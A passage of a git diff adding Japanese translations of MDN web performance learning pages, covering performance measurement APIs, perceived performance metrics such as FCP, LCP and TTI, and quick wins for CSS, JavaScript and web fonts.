+</dl> + +<dl> + <dt>リソースヒントを使用したリソース配信の制御</dt> + <dd>ブラウザは、リソースの優先順位付けと配信に関して、私たちよりもよく知っていますが、千里眼からはほど遠いです。ネイティブブラウザー機能により、ブラウザーが別のサーバーに接続するタイミングを示唆したり、ブラウザーが必要とする前にリソースをプリロードしたりできます。賢明に使用すると、これにより高速なエクスペリエンスがさらに速く見えるようになります。この記事では、rel = preconnect、rel = dns-prefetch、rel = prefetch、rel = preloadなどのネイティブブラウザー機能と、それらを活用する方法について説明します。</dd> +</dl> + +<h2 id="See_Also">See Also</h2> + +<ul> + <li><a href="/en-US/docs/Web/Performance/Mobile_performance_checklist">Mobile performance checklist</a></li> + <li><a href="/en-US/docs/Web/Apps/Fundamentals/Performance/Optimizing_startup_performance">Optimizing Startup Performance</a><a href="/en-US/docs/Web/Apps/Fundamentals/Performance/Optimizing_startup_performance"> </a></li> +</ul> + +<p>{{LandingPageListSubpages}}</p> diff --git a/files/ja/learn/performance/measuring_performance/index.html b/files/ja/learn/performance/measuring_performance/index.html new file mode 100644 index 0000000000..f70a9cfa20 --- /dev/null +++ b/files/ja/learn/performance/measuring_performance/index.html @@ -0,0 +1,105 @@ +--- +title: パフォーマンスの測定 +slug: Learn/Performance/Measuring_performance +tags: + - API + - Beginner + - Guide + - Tools + - Web +translation_of: Learn/Performance/Measuring_performance +--- +<div>{{LearnSidebar}} {{PreviousMenuNext("Learn/Performance/Perceived_performance", "Learn/Performance/Multimedia", "Learn/Performance")}}</div> + +<div></div> + +<div>パフォーマンスの測定は、あなたがあなたのアプリケーション、サイト、ウェブサービスを評価することを助ける重要な指標を提供します。たとえば、パフォーマンスの指標を使うことで、競合と比較してアプリケーションをどのように動作させるか決めたり、リリースごとのパフォーマンスを比較したりできます。測定対象として選択する指標はユーザー、サイト、そしてビジネスのゴールに関連するものであるべきです。それらは一貫した手法で収集、測定され、非技術系の関係者にも理解でき、利用可能なフォーマットで分析される必要があります。この記事ではサイトのパフォーマンス測定と最適化に利用できるウェブパフォーマンスの指標を紹介します。</div> + +<div></div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a>、<a href="/en-US/docs/Learn/Getting_started_with_the_web">クライアントサイドのウェブ技術</a>の基本的な知識</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td> + <p>様々なウェブパフォーマンス API を通じて収集できる ウェブパフォーマンスの指標とデータの視覚化に利用できるツールの情報を提供すること</p> + </td> + </tr> + </tbody> +</table> + +<h2 dir="ltr" id="パフォーマンス_API">パフォーマンス API</h2> + +<p>ウェブのコードを書くとき、自分自身でパフォーマンス測定ツールを作るために利用できるたくさんのウェブ API があります。</p> + +<p>クライアントサイドのウェブパフォーマンスを測定するために <a href="/ja/docs/Web/API/Navigation_timing_API">Navigation Timing API</a> を利用できます。前のページをアンロードするために必要な時間、ドメインのルックアップにかかる時間、ウィンドウのロードハンドラー実行にかかる時間の合計などが含まれます。この API は、下図に示すナビゲーションイベント全てに関する指標として利用できます。</p> + +<p><img alt="The various handlers that the navigation tiiming API can handle including Navigation timing API metrics Prompt for unload redirect unload App cache DNS TCP Request Response Processing onLoad navigationStart redirectStart redirectEnd fetchStart domainLookupEnd domainLookupStart connectStart (secureConnettionStart) connectEnd requestStart responseStart responseEnd unloadStart unloadEnd domLoading domInteractive domContentLoaded domComplete loadEventStart loadEventEnd" src="https://mdn.mozillademos.org/files/17062/navigationtimingapi.jpg" style="height: 612px; width: 959px;"></p> + +<p>現在のページのパフォーマンスに関連する情報へのアクセスを提供する <a href="/ja/docs/Web/API/Performance_API/Using_the_Performance_API">Performance API</a> は、<a href="/ja/docs/Web/API/Performance_Timeline">Performance Timeline API</a>、<a href="/ja/docs/Web/API/Navigation_timing_API">Navigation Timing API</a>、<a href="/ja/docs/Web/API/User_Timing_API">User Timing API</a>、そして <a href="/ja/docs/Web/API/Resource_Timing_API">Resource Timing API </a>を含みます。これらのインターフェースにより、JavaScript のタスクが完了するまでにかかる時間の正確な測定が可能になります。</p> + +<p><a href="/ja/docs/Web/API/PerformanceEntry">PerformanceEntry</a> オブジェクトは、パフォーマンスタイムラインの一部です。パフォーマンスエントリーは アプリケーション内の明示的なポイントでパフォーマンスの<em>{{domxref("PerformanceMark","mark")}}</em> または <em>{{domxref("PerformanceMeasure","measure")}} </em> を作ること（たとえば {{domxref("Performance.mark","mark()")}} メソッドを呼び出すこと）で直接的に作成されます。パフォーマンスエントリーは、画像などリソースの読み込みのようなタイミングで間接的に作成されることもあります。</p> + +<p><a href="/ja/docs/Web/API/PerformanceObserver">PerformanceObserver API </a>はパフォーマンス測定のイベントを観察するために利用できます。さらにブラウザーのパフォーマンスタイムラインに新しいパフォーマンスエントリーが記録されるたびに通知することができます。</p> + +<p>この記事ではこれらの API に深入りしませんが、これらの存在を知っていると便利です。パフォーマンスウェブ API を使う例についてより深く知りたい場合は <a href="/ja/docs/Web/Performance/Navigation_and_resource_timings">Navigation and timings</a> の記事を参照してください。</p> + +<h2 dir="ltr" id="ツールと指標">ツールと指標</h2> + +<p dir="ltr">パフォーマンスの改善を助けるために利用できるいくつかの異なるツールがあります。これらは一般的にふたつのカテゴリーに分類できます。</p> + +<ul dir="ltr"> + <li>P<a href="/ja/docs/Tools/Network_Monitor">ageSpeed Insights</a> や Firefox の <a href="/ja/docs/Tools/Network_Monitor">Network Monitor</a> と <a href="/ja/docs/Tools/Performance">Performance Monitor</a> のようなパフォーマンスを測定したり、指し示したりするツール。これらのツールはウェブアプリケーションやサイトの読み込みがどれくらい速いかまたは遅いかを示します。また、ウェブアプリケーションを最適化して改善するべき領域を指し示します。</li> + <li>コードを更新してウェブアプリケーションやサイトのパフォーマンスを改善するツール。たとえば、バンドルツールは HTTP リクエストの回数を減らすためにコードを単一のファイルにまとめ、ミニファイツールはファイルをより小さくするためにコードからホワイトスペースを取り除きます。</li> +</ul> + +<p>このコースでは両方のカテゴリーを取り上げます。そしてパフォーマンスの指標だけではなく、サイトのパフォーマンスが改善しているかどうかを測定するための指標についても議論します。</p> + +<h3 id="一般的なパフォーマンスレポートツール">一般的なパフォーマンスレポートツール</h3> + +<p dir="ltr"><a href="https://developers.google.com/speed/pagespeed/insights/">PageSpeed Insights</a> のようなツールではウェブサイトのパフォーマンスを測定できます。URL を入力すると数秒でパフォーマンスのレポートを入手できます。レポートはモバイルとデスクトップの両方でウェブサイトがどの程度の性能を示すかを表すスコアを含みます。これは、すでにできていることと改善が必要な部分についてのアイデアを得る良いスタート地点になります。</p> + +<p>本記事の執筆時点で、MDN のパフォーマンスレポートのサマリーは以下のようになっています。</p> + +<p dir="ltr"><img alt="A screenshot of PageSpeed Insights report for the Mozilla homepage." src="https://mdn.mozillademos.org/files/16963/pagespeed-insight-mozilla-homepage.png" style="border-style: solid; border-width: 1px; height: 1354px; width: 1944px;"></p> + +<p dir="ltr">パフォーマンスレポートは、ページに何かが表示されまでにユーザーがどのくらい待たなければならないか、ページを表示するまでに何バイトのデータがダウンロードされる必要があるかなどの情報を含みます。さらに測定された値が良好と考えられるか、あるいは不良であるかも示します。</p> + +<p dir="ltr"><a href="https://webpagetest.org/">webpagetest.org</a> は、サイトを自動的にテストして有益な指標を返すツールのもう一つの実例です。ぜひ webpagetest.org と PageSpeed Insights の両方であなたの好きなウェブサイトを実行してみてください。そしてスコアを見てみましょう。</p> + +<h3 dir="ltr" id="ネットワークツール">ネットワークツール</h3> + +<p dir="ltr">多くのブラウザーが、読み込み対象のページに対してそれらがどのように動作しているか確認するために使えるツールを用意しています。たとえば、FIrefox の <a href="/ja/docs/Tools/Network_Monitor">Network Monitor</a> はネットワークからダウンロードされるすべてのアセットの詳細な情報を、それぞれダウンロードのどのくらいの時間がかかるかを示すグラフと合わせて表示します。</p> + +<p dir="ltr"><img alt="" src="https://mdn.mozillademos.org/files/17030/network-monitor.png" style="border-style: solid; border-width: 1px; height: 325px; width: 900px;"></p> + +<p dir="ltr">異なるアクションを実行したときのウェブアプリケーションやサイトのユーザーインターフェースのパフォーマンスを測定するために <a href="/ja/docs/Tools/Performance">Performance Monitor</a> を利用できます。これは ウェブアプリケーションやサイトを遅くしているかもしれない要素を指し示します。</p> + +<p dir="ltr"><img alt="" src="https://mdn.mozillademos.org/files/17031/perf-monitor.png" style="border-style: solid; border-width: 1px;"></p> + +<h2 id="結論">結論</h2> + +<p>この記事ではウェブアプリケーションやサイトで利用可能なウェブパフォーマンスの指標の簡単な概要を紹介しました。次は、知覚されるパフォーマンスと、避けられないパフォーマンスへの影響をユーザーに深刻に見せない、あるいは完全に気づかれないようにするいくつかのテクニックを見ていきます。</p> + +<p>{{PreviousMenuNext("Learn/Performance/Perceived_performance", "Learn/Performance/Multimedia", "Learn/Performance")}}</p> + +<h2 id="このモジュール内">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/Performance/why_web_performance">ウェブパフォーマンスの"なぜ"</a></li> + <li><a href="/ja/docs/Learn/Performance/What_is_web_performance">ウェブパフォーマンスとは何か</a></li> + <li><a href="/ja/docs/Learn/Performance/Perceived_performance">ユーザーはパフォーマンスをどのように知覚するか</a></li> + <li><a href="/ja/docs/Learn/Performance/Measuring_performance">パフォーマンスの測定</a></li> + <li><a href="/en-US/docs/Learn/Performance/Multimedia">Multimedia: images</a></li> + <li><a href="/en-US/docs/Learn/Performance/video">Multimedia: video</a></li> + <li><a href="/en-US/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a>.</li> + <li><a href="/en-US/docs/Learn/Performance/HTML">HTML performance features</a></li> + <li><a href="/en-US/docs/Learn/Performance/CSS">CSS performance features</a></li> + <li><a href="/en-US/docs/Learn/Performance/Fonts">Fonts and performance</a></li> + <li><a href="/en-US/docs/Learn/Performance/Mobile">Mobile performance</a></li> + <li><a href="/ja/docs/Learn/Performance/business_case_for_performance">パフォーマスに光をあてる</a></li> +</ul> diff --git a/files/ja/learn/performance/perceived_performance/index.html b/files/ja/learn/performance/perceived_performance/index.html new file mode 100644 index 0000000000..8af223ce2e --- /dev/null +++ b/files/ja/learn/performance/perceived_performance/index.html @@ -0,0 +1,111 @@ +--- +title: 知覚されるパフォーマンス +slug: Learn/Performance/perceived_performance +tags: + - Perceived Performance + - Web Performance +translation_of: Learn/Performance/perceived_performance +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Performance/what_is_web_performance", "Learn/Performance/Measuring_performance", "Learn/Performance")}}</div> + +<p><span class="seoSummary"><strong><a href="/ja/docs/Glossary/Perceived_performance">知覚されるパフォーマンス</a></strong></span>は、ユーザーから見てウェブサイトがどれくらい速く感じられるかを表します。ユーザーがパフォーマンスをどのように知覚するかは、具体的な統計値と同じくらい、あるいはどんな具体的な統計値よりも重要ですが、それは主観的で簡単に計測できるものではありません。知覚されるパフォーマンスはユーザーの視点であり、計測される値ではありません。</p> + +<p>この記事は、ユーザーの知覚と、主観的な要素を計測するために使える具体的なツールに目を通し、知覚されるパフォーマンスの簡潔な紹介を提供します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a>、<a href="/ja/docs/Learn/Getting_started_with_the_web">クライアントサイドのウェブ技術</a>の基本的な知識</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td> + <p>ウェブパフォーマンスに対するユーザーの知覚について基本的な理解を獲得すること</p> + </td> + </tr> + </tbody> +</table> + +<p>パフォーマンスはユーザーの知覚に関連します。ウェブサイトの読み込みや描画がどれくらい速く感じられるかは、そのサイトが実際にどのくらい速く読み込まれ描画されるか以上にユーザーの体験に大きなインパクトを与えます。ある操作に（遅延やメインスレッドの無効状態によって）長い時間がかかる場合であっても、待っている間にローディングスピナーや一連の便利なヒント・ティップス（あるいはジョーク、その他適切なものであれば何でも）を表示することでユーザーのエンゲージを維持することが可能です。そのようなアプローチはただ何も表示しないよりずっと良いことです。何も表示しないことはより長い時間を感じさせ、ユーザーはそれが壊れていると思って待つのを諦めるかもしれません。</p> + +<h2 id="Perceived_performance" name="Perceived_performance">知覚されるパフォーマンス</h2> + +<p>サイトがどのくらい速く読み込まれるか、ユーザーのインタラクションにどのくらい良く反応すかの知覚はきわめて重要です。それは定量化することが難しい一方、実際のダウンロード時間以上に重要です。サイトにはそれ以上高速化することができない領域があるかもしれません。しかし、他のセクションで議論した統計値がそれ以上改善できない場合でも、サイトをより速く感じさせることは可能です。</p> + +<p>ユーザーがどう感じるかを計測するたった一つの統計値 (unicorn metric) はありませんが、統計値は改善（または悪化）を判断するために有用です。関連する計測値には、First Meaningful Paint (FMP)、Largetst contentful paint (LCP)、Time to interactive (TTI)、render start、DOM interactive、Speed Index があります。</p> + +<p><strong><a href="/ja/docs/Glossary/First_paint">First paint</a></strong> はブラウザーから報告され、ページの変更が始まる時間をミリ秒単位で提供します。しかし、この変更はシンプルな背景色の更新や、より気付きづらい小さなものである可能性があります。それは変更の完了を意味しておらず、目に見えるものが何も描画されていない時間を報告することもあります。<strong><a href="/ja/docs/Glossary/First_contentful_paint">First Contentful Paint</a> (FCP)</strong> はブラウザーが最初に意味のある何か、テキスト、フォアグラウンド・バックグラウンドの画像、またはキャンバスや SVG を描画した時間を報告します。読み込みの経験のまさに始まりを補足します。しかし、それはただ単なるコンテンツであるため、意味のあるコンテンツ、あるいはユーザーが消費できるコンテンツであることを意味していません。<strong><a href="/ja/docs/Glossary/first_meaningful_paint">First Meaningful Paint</a> (FMP)</strong> は実際に意味のあるコンテンツがスクリーンに映し出された時間です。それは、ユーザーが知覚する読み込みの経験としてより適切な統計値ですが、まだ理想的とは言えません。<strong>Largest contentful paint (LCP)</strong> は、ビューポートの中で最も大きい目に見えるコンテンツの要素が描画される時間を報告する、<a href="https://wicg.github.io/largest-contentful-paint/">Largest Contentful Paint API</a> の中で定義された統計値です。</p> + +<p><strong><a href="/ja/docs/Glossary/Speed_index">Speed index</a></strong> も知覚されるパフォーマンスの概算として使用されます。それは目に見えるスクリーン上にピクセルが描画される平均時間を計測します。それはジッターも、どのコンテンツがユーザーによってより重要であるかも考慮しません。そのため完全な統計値ではありません。</p> + +<p>これらの統計値は最初の読み込みと描画に関わります。ユーザーがサイトとインタラクションを始めた後もサイトが速いと感じさせることは重要です。このために、<strong><a href="/ja/docs/Glossary/Time_to_interactive">time to interactive</a></strong> は良い統計値です。それは読み込みプロセスにおける最後の <a href="/ja/docs/Glossary/Long_task">long task </a>が終わり、ユーザーに UI が利用可能になる時間を表します。</p> + +<p>UI の欠落や質の悪い反応はどちらも知覚されるパフォーマンスに悪い影響を与えます。タスクに長い時間がかかる場合であっても、それをより速く見せる方法はあります。知覚されるパフォーマンスを改善するいくつかのティップスがあります。</p> + +<h3 id="Improving_perceived_performance" name="Improving_perceived_performance">知覚されるパフォーマンスを改善する</h3> + +<p>ネットワークを理解すること、ブラウザがどのように動作するか、ユーザーが知覚する時間など、こういったものはユーザーのインタラクションを改善する方法を理解するために役立ちます。しかし、速さの知覚を改善するために、人間の心がどのように働くかと言った全てを理解する必要はありません。</p> + +<p>それがどのくらい速い、または遅いと感じられるかは、ユーザーが能動的に待つか、受動的に待つかに大きく影響されます。待つことには能動と受動のフェーズがあります。ユーザが活動しているとき、マウスを動かしたり、考えたり、楽しんだりしているとき、ユーザーは能動的なフェーズにいます。受動的なフェーズは、ユーザーがモノクロのスクリーンを見つめるように受動的に待つ時に起こります。受動と能動の時間が客観的に同じとき、ユーザーは受動的に待つ時間が長かったと感じるでしょう。読み込み、描画、または反応の時間が客観的にそれ以上小さくできない場合、待つことを受動から能動的に待つ時間に変えることでより速く感じさせることができます。</p> + +<p>いくつか従うべきヒントとコツがあります。より深く知りたい場合、これらのヒントのいくつかには別途完全な記事があります。</p> + +<p>コンテンツ、または少なくともページの一部をコンテンツが読み込み中であることと併せてできるだけ速く表示することは、知覚されるパフォーマンスを改善するためにきわめて重要です。たとえば、ページの描画は CSS と Java Script の読み込みとパース処理にブロックされるため、最初の読み込みに必要とされる CSS と JS の量を最小化することは知覚されるパフォーマンスに大きな影響を持つでしょう。バイトとしてのサイズが同じだったとしても、ページの描画をブロックしないことは読み込みをより速く感じさせます。</p> + +<p>知覚されるパフォーマンスを改善するヒントとコツを以下に示します。</p> + +<h3 id="Minimize_initial_load" name="Minimize_initial_load">最初の読み込みを最小化する</h3> + +<p>知覚されるパフォーマンスを改善するために、最初のページ読み込みを最小化しましょう。すなわち、最初に、実際に表示するものすべて、ただし本当に使うものだけをダウンロードしましょう。それから残りをダウンロードしましょう。すべてのアセットを最後までダウンロードしたときにはアセットの総量は改善されていません。実際にはコードを追加する必要があるかもしれません。しかし、直ちに必要ではないアセットをユーザーに気づかれない形で後からダウンロードすることによって、ユーザーはダウンロードが速くなったように感じます。</p> + +<p><a href="https://onilab.com/blog/perceived-performance-vs-actual-load-time-5-secrets-of-lightning-fast-magento-store/">アセットを最小化する</a>には最初の読み込みとコンテンツのインタラクティブな機能を分割する必要があります。その結果、目に見えるテキスト、スタイル、画像などの必要なコンテンツが最初に読み込まれます。</p> + +<p>最初のページ読み込みで使用されない、あるいは目に見えない画像やスクリプトは読み込みしないようにしましょう。それらは読み込みを遅らせて、ページが使用可能になってから読み込むか、必要になった時に読み込みましょう。最初のページ読み込みの後で、追加のアセットやリソースを読み込むことは知覚されるパフォーマンスを改善します。最初のリクエストで必要なデータを読み込み、必要に応じて徐々に必要な部分やデータを読み込むことは帯域が限られている場合やスペックの低いハードウェアの問題を緩和することにも役立ちます。</p> + +<p>さらに、読み込むアセットを最適化する必要があります。画像と動画は最適なフォーマットで、圧縮され、適切なサイズで提供されるべきです。</p> + +<h3 id="Prevent_jumping_content_and_other_reflows" name="Prevent_jumping_content_and_other_reflows">コンテンツのジャンプとリフローを防ぐ</h3> + +<p>画像やサードバーティーの広告のような、コンテンツを押し下げたり他の場所にジャンプさせたりするアセットは、ページがまだ読み込み中であるように感じさせ、知覚されるパフォーマンスを悪化させます。ユーザーのインタラクションに起因することなくリフローするコンテンツは特に悪いと言えます。他と比べて読み込みが遅く、かつ他のコンテンツがスクリーンに描画された後に要素が読み込まれるアセットは、レイアウト上にそれらのためのスペースを残すよう事前に計画しましょう。そうすることでコンテンツは、とくにサイトがインタラクション可能になった後で、ジャンプやリサイズしなくなります。</p> + +<h3 id="Avoid_font_file_delays" name="Avoid_font_file_delays">フォントファイルの遅延を避ける</h3> + +<p>フォントの使用はユーザーの体験を良くすることも悪くすることもあります。適切なフォントを選ぶことは芸術的であり、ユーザーの体験を劇的に良くすることもできます。フォントは、特に使用するフォントをインポートしなければいけないという点でユーザーの体験を悪化させることがあります。インポートするフォントが最適化されていない場合や馬鹿げた Comic Sans が使用されている場合はそうです。スタイリングされていないテキストのチラつきや該当するテキストが見つからないことはどちらもパフォーマンスを悪化させます。</p> + +<p>同じサイズとウェイトのフォールバックフォントを用意しておきましょう。そうすることでフォントの読み込みによるページの変化に気付かれにくくなります。</p> + +<h3 id="Interactive_elements_are_interactive" name="Interactive_elements_are_interactive">インタラクティブな要素はインタラクティブに</h3> + +<p>目に見えるインタラクティブな要素は常にインタラクティブで反応できるようにしましょう。入力の要素が目に見える場合、ユーザーは遅延なしにそれらとインタラクションできるべきです。ユーザーは反応に 50 ミリ秒より長い時間がかかる場合、それが遅れていると感じます。コンテンツの再描画が 16.67 ミリ秒（または 60 frames per second）より遅いか、不規則な間隔で再描画されるとページが壊れているように感じます。</p> + +<p>CSS で入力用のモーダルを表示したり、可能な場合は JS で先行入力・自動補完を追加するなど、先行入力や漸進的な拡張を使いましょう。</p> + +<h3 id="Make_task_initiators_appear_more_interactive" name="Make_task_initiators_appear_more_interactive">タスクの開始をよりインタラクティブにする</h3> + +<p>キーの押し上げを待たずにキーの押し下げでコンテンツをリクエストすることにより、知覚されるコンテンツの読み込みを 200 ミリ秒減らすことができます。キーの押し上げに合わせて興味深く、ただし目立ちすぎない 200 ミリ秒のアニメーションを追加することで知覚される読み込みをさらに 200 ミリ秒減らすことができます。実際に 400 ミリ秒の時間を削減したわけではありませんが、ユーザーは、自分がコンテンツを待っていると感じるまでは待っているとは感じないものです。</p> + +<h2 id="Conclusion" name="Conclusion">結論</h2> + +<p>ダウンロード、描画、待ち時間を能動的なフェーズに変え、受動的に待つ時間を減らすことにより、客観的な測定値が同じであったとしても、ユーザーはコンテンツのダウンロード、描画、反応がより速くなったように感じます。これで速度向上のために何をするべきかわかりました。次はいくつかの統計値を確認し、これらのイベントをどのように測定できるか学びましょう。</p> + +<p>{{PreviousMenuNext("Learn/Performance/what_is_web_performance", "Learn/Performance/Measuring_performance", "Learn/Performance")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/Performance/why_web_performance">ウェブパフォーマンスの"なぜ"</a></li> + <li><a href="/ja/docs/Learn/Performance/What_is_web_performance">ウェブパフォーマンスとは何ですか？</a></li> + <li><a href="/ja/docs/Learn/Performance/Perceived_performance">ユーザーはパフォーマンスをどのように知覚しますか？</a></li> + <li><a href="/ja/docs/Learn/Performance/Measuring_performance">パフォーマンスの測定</a></li> + <li><a href="/ja/docs/Learn/Performance/Multimedia">Multimedia: images</a></li> + <li><a href="/ja/docs/Learn/Performance/video">Multimedia: video</a></li> + <li><a href="/ja/docs/Learn/Performance/JavaScript">JavaScript performance best practices</a>.</li> + <li><a href="/ja/docs/Learn/Performance/HTML">HTML performance features</a></li> + <li><a href="/ja/docs/Learn/Performance/CSS">CSS performance features</a></li> + <li><a href="/ja/docs/Learn/Performance/Fonts">Fonts and performance</a></li> + <li><a href="/ja/docs/Learn/Performance/Mobile">Mobile performance</a></li> + <li><a href="/ja/docs/Learn/Performance/business_case_for_performance">パフォーマンスに光をあてる</a></li> +</ul> diff --git a/files/ja/learn/performance/web_performance_basics/index.html b/files/ja/learn/performance/web_performance_basics/index.html new file mode 100644 index 0000000000..276e2f2e04 --- /dev/null +++ b/files/ja/learn/performance/web_performance_basics/index.html @@ -0,0 +1,89 @@ +--- +title: ウェブパフォーマンスの基礎 +slug: Learn/Performance/Web_Performance_Basics +tags: + - Best practices + - Website performance +translation_of: Learn/Performance/Web_Performance_Basics +--- +<p>{{draft}}あなたのウェブサイトが可能な限りのパフォーマンスを発揮すべき<a href="https://web.dev/why-speed-matters/">理由</a>はたくさんあります。<br> + 以下に、各トピックの詳細情報を提供するためのリンク付きのベストプラクティス、ツール、API の簡単なレビューを示します。</p> + +<h2 id="Best_practices">Best practices</h2> + +<ul> + <li>Start with learning the <a href="https://developer.mozilla.org/en-US/docs/Web/Performance/Critical_rendering_path">critical rendering path</a> of the browser. Knowing this will help you understand how to improve the performance of the site.</li> + <li>Using <a href="https://developer.mozilla.org/en-US/docs/Web/Performance/Controlling_resource_delivery_with_resource_hints">resource hints</a> such as <code>rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload</code></li> + <li>Keep the size of Javascript to a <a href="https://medium.com/@addyosmani/the-cost-of-javascript-in-2018-7d8950fbb5d4">minimum</a>. Only use as much Javascript as needed for the current page.</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Performance/CSS_performance">CSS</a> performance factors</li> + <li>Use <a href="https://developer.mozilla.org/en-US/docs/Learn/Performance/HTTP2">HTTP/2</a> on your server (or CDN).</li> + <li>Use a CDN for resources which can reduce load times significantly.</li> + <li>Compress your resources using <a href="https://www.gnu.org/software/gzip/" rel="nofollow noopener">gzip</a>, <a href="https://github.com/google/brotli" rel="nofollow noopener">Brotli</a>, and <a href="https://github.com/google/zopfli" rel="nofollow noopener">Zopfli</a>.</li> + <li>Image optimization (use CSS animation, or SVG if possible).</li> + <li>Lazy loading parts of your application outside the viewport. If you do, have a backup plan for SEO (e.g render full page for bot traffic); for example, by using the {{htmlattrxref("loading", "img")}} attribute on the {{HTMLElement("img")}} element</li> + <li>It is also crucial to realize what is really important to your users. It might not be absolute timing, but <a href="https://developer.mozilla.org/en-US/docs/Learn/Performance/perceived_performance">user perception</a>.</li> +</ul> + +<h2 id="Quick_Wins">Quick Wins</h2> + +<h3 id="CSS">CSS</h3> + +<p>Web performance is all about user experience and perceived performance. As we learned in the <a href="https://developer.mozilla.org/en-US/docs/Web/Performance/Critical_rendering_path">critical rendering path</a> document, linking CSS with a tradional link tag with rel="stylesheet" is synchronous and blocks rendering. Optimize the rendering of your page by removing blocking CSS.</p> + +<p>To load CSS asynchronously one can simpy set the media type to print and then change to all once loaded. The following snippet includes an onload attribute, requiring Javascript, so it is important to include a noscript tag with a traditional fallback.</p> + +<pre class="brush: html notranslate"><link rel="stylesheet" href="/path/to/my.css" media="print" onload="this.media='all'"> +<noscript><link rel="stylesheet" href="/path/to/my.css"></noscript> +</pre> + +<p>The downside with this approach is the flash of unstyled text (FOUT.) The simplist way to address this is by inlining CSS that is required for any content that is rendered above the fold, or what you see in the browser viewport before scrolling. These styles will improve perceived performance as the CSS does not require a file request.</p> + +<pre class="brush: html notranslate"><style type="text/css"> +// Insert your CSS here +</style> +</pre> + +<h3 id="Javascript">Javascript</h3> + +<p>Avoid Javascript blocking by using the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script">async</a> or <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script">defer</a> attributes, or link javascript assets after the page's DOM elements. Javascript only block rendering for elements that appear after the script tag in the DOM tree.</p> + +<h3 id="Web_Fonts">Web Fonts</h3> + +<p>EOT and TTF formats are not compressed by default. Apply compression such as GZIP or Brotli for these file types. Use WOFF and WOFF2. These formats have compression built in.</p> + +<p>Within @font-face use font-display: swap. By using font display swap the browser will not block rendering and will use the backup system fonts that are defined. Optimiize <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/font-weight">font weight</a> to match the web font as closely as possible.</p> + +<h4 id="Icon_web_fonts">Icon web fonts</h4> + +<p>If possible avoid icon web fonts and use compressed SVGs. To further optimize inline your SVG data within HTML markup to avoid HTTP requests.</p> + +<h2 id="Tools">Tools</h2> + +<ul> + <li>Learn to use the <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance">Firefox Dev Tools</a> to profile your site.</li> + <li><a href="https://developers.google.com/speed/docs/insights/v5/about">Pagespeed Insights</a> can analyze your page and give some general hints to improve performance.</li> + <li><a href="https://developers.google.com/web/tools/lighthouse/">Lighthouse</a> can give you a detailed breakdown of many aspects of your site including performance, SEO and accessibility.</li> + <li>Test your page's speed using <a href="http://webpagetest.org/">Webpagetest.org</a>, where you can use different real device types and locations.</li> + <li>Try the <a href="https://developers.google.com/web/tools/chrome-user-experience-report">Chrome User Experience Report</a> which quantifies real user metrics.</li> + <li>Define a<a href="https://developer.mozilla.org/en-US/docs/Web/Performance/Performance_budget"> performance budget.</a></li> +</ul> + +<h3 id="APIs">APIs</h3> + +<ul> + <li>Gather user metrics using <a href="https://github.com/akamai/boomerang">https://github.com/akamai/boomerang</a></li> + <li>Or directly gather with <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/performance">window.performance.timing</a></li> +</ul> + +<h3 id="Things_not_to_do_bad_practices">Things not to do (bad practices)</h3> + +<ul> + <li>Download everything</li> + <li>Use uncompressed media files</li> +</ul> + +<h2 id="See_also">See also:</h2> + +<ul> + <li><a href="https://github.com/filamentgroup/loadCSS">https://github.com/filamentgroup/loadCSS</a></li> +</ul> diff --git a/files/ja/learn/performance/what_is_web_performance/index.html b/files/ja/learn/performance/what_is_web_performance/index.html new file mode 100644 index 0000000000..f969943627 --- /dev/null +++ b/files/ja/learn/performance/what_is_web_performance/index.html @@ -0,0 +1,90 @@ +--- +title: ウェブパフォーマンスとは何ですか？ +slug: Learn/Performance/What_is_web_performance +tags: + - Beginner + - Introduction + - Learn + - Performance + - Reference + - Tutorial + - Web Performance +translation_of: Learn/Performance/What_is_web_performance +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Performance/why_web_performance", "Learn/Performance/Perceived_performance", "Learn/Performance")}}</div> + +<p>ウェブパフォーマンスは、実際には遅い処理を速いように見せることを含め、ウェブサイトを速くすることに関わるすべての事柄を表します。サイトを速く読み込む、ユーザーが早くインタラクションを始められるようにする、あるいは、読み込みに時間がかかる場合は、たとえばローディングスピナーを表示するなど、ユーザーが安心できるフィードバックを提供する、これらができていますか？スクロールとアニメーションは滑らかですか？この記事では、客観的で測定可能なウェブパフォーマンス*についての簡潔なイントロダクションを提示し、どのような技術、テクニック、そして最適化に関わるツールが利用できるかを探っていきます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td> + <p>基本的なコンピューターリテラシー、<a href="https://developer.mozilla.org/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a>、<a href="/ja/docs/Learn/Getting_started_with_the_web">クライアントサイドのウェブ技術</a>の基礎知識</p> + </td> + </tr> + <tr> + <th scope="row">目的:</th> + <td> + <p>Web パフォーマンスに関わる事項について基本的な理解を得ること</p> + </td> + </tr> + </tbody> +</table> + +<p><em>* 次の記事でカバーする主観的な<a href="/ja/docs/Learn/Performance/perceived_performance">知覚される</a></em><em><a href="/ja/docs/Learn/Performance/perceived_performance">パフォーマンス</a>の逆</em></p> + +<h2 id="What_is_web_performance" name="What_is_web_performance">ウェブパフォーマンスとは何ですか？</h2> + +<p>ウェブパフォーマンスはウェブサイトまたはウェブアプリケーションの客観的な測定結果とユーザーによって知覚される体験です。これには以下の主要な領域が含まれます。</p> + +<ul> + 